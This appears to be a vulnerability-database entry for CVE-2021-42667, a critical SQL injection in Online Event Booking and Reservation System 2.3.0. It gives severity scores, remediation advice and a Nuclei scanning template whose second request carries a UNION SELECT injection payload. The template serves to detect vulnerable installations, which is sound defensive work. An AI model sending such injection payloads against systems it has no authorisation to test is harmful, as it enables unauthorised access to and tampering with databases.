SecurityContext

CVE-2021-42667: Online Event Booking and Reservation System 2.3.0 - SQL Injection

Classification

  • Cwe: CWE-89
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.16173
  • Epss percentile: 0.97014
  • Cpe: cpe:2.3:a:online_event_booking_and_reservation_system_project:online_event_booking_and_reservation_system:2.3.0:*:*:*:*:*:*:*

Metadata

  • Max-request: 2
  • Product: online_event_booking_and_reservation_system
  • Vendor: online_event_booking_and_reservation_system_project
  • Verified: yes

Products

ProductIndexedUrl
online_event_booking_and_reservation_system_project:online_event_booking_and_reservation_systemyes/v1/products/online_event_booking_and_reservation_system_project/online_event_booking_and_reservation_system

Labels

  • Name: Online Event Booking and Reservation System - SQL Injection
  • Impact: Attackers can access sensitive data, alter database information, and execute unauthorized administrative actions.
  • Remediation: Update to the latest version of the system, or apply security patches that sanitize database inputs.
  • Vulnerability type: sql_injection
  • Vulnerability impact: information_disclosure, data_tampering, privilege_escalation
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2021-42667
  • Not known: requirements

```yaml

id: CVE-2021-42667

info:

name: Online Event Booking and Reservation System 2.3.0 - SQL Injection

author: fxploit

severity: critical

description: |

Online Event Booking and Reservation System 2.3.0 contains a SQL injection vulnerability in event-management/views. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

impact: |

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

remediation: |

Apply the latest patch or update to a non-vulnerable version of the Online Event Booking and Reservation System.

reference:

- https://github.com/0xDeku/CVE-2021-42667

- https://www.sourcecodester.com/php/14241/online-event-booking-and-reservation-system-phpmysql.html

- https://github.com/TheHackingRabbi/CVE-2021-42667

- https://nvd.nist.gov/vuln/detail/CVE-2021-42667

- https://github.com/ARPSyndicate/cvemon

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2021-42667

cwe-id: CWE-89

epss-score: 0.16173

epss-percentile: 0.97014

cpe: cpe:2.3:a:online_event_booking_and_reservation_system_project:online_event_booking_and_reservation_system:2.3.0:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 2

vendor: online_event_booking_and_reservation_system_project

product: online_event_booking_and_reservation_system

tags: cve,cve2021,sqli,authenticated,online_event_booking_and_reservation_system_project,vuln

variables:

num: "999999999"

http:

- raw:

- |

POST /login.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

name={{username}}&pwd={{password}}

- |

GET /views/?v=USER&ID=1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2Cmd5({{num}})%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%3B--%20- HTTP/1.1

Host: {{Hostname}}

host-redirects: true

max-redirects: 2

matchers-condition: and

matchers:

- type: word

part: body

words:

- '{{md5(num)}}'

- type: status

status:

- 200

digest: 4a0a00473045022100c906e99acd54237205a2e8bbdb2c05c1e90f64d3add2c1bd1c21c696e03e4a35022028deea90dede1656755e1867987c949f0690d45a688e07992b2669a91bd19b12:922c64590222798bb761d5b6d8e72950

```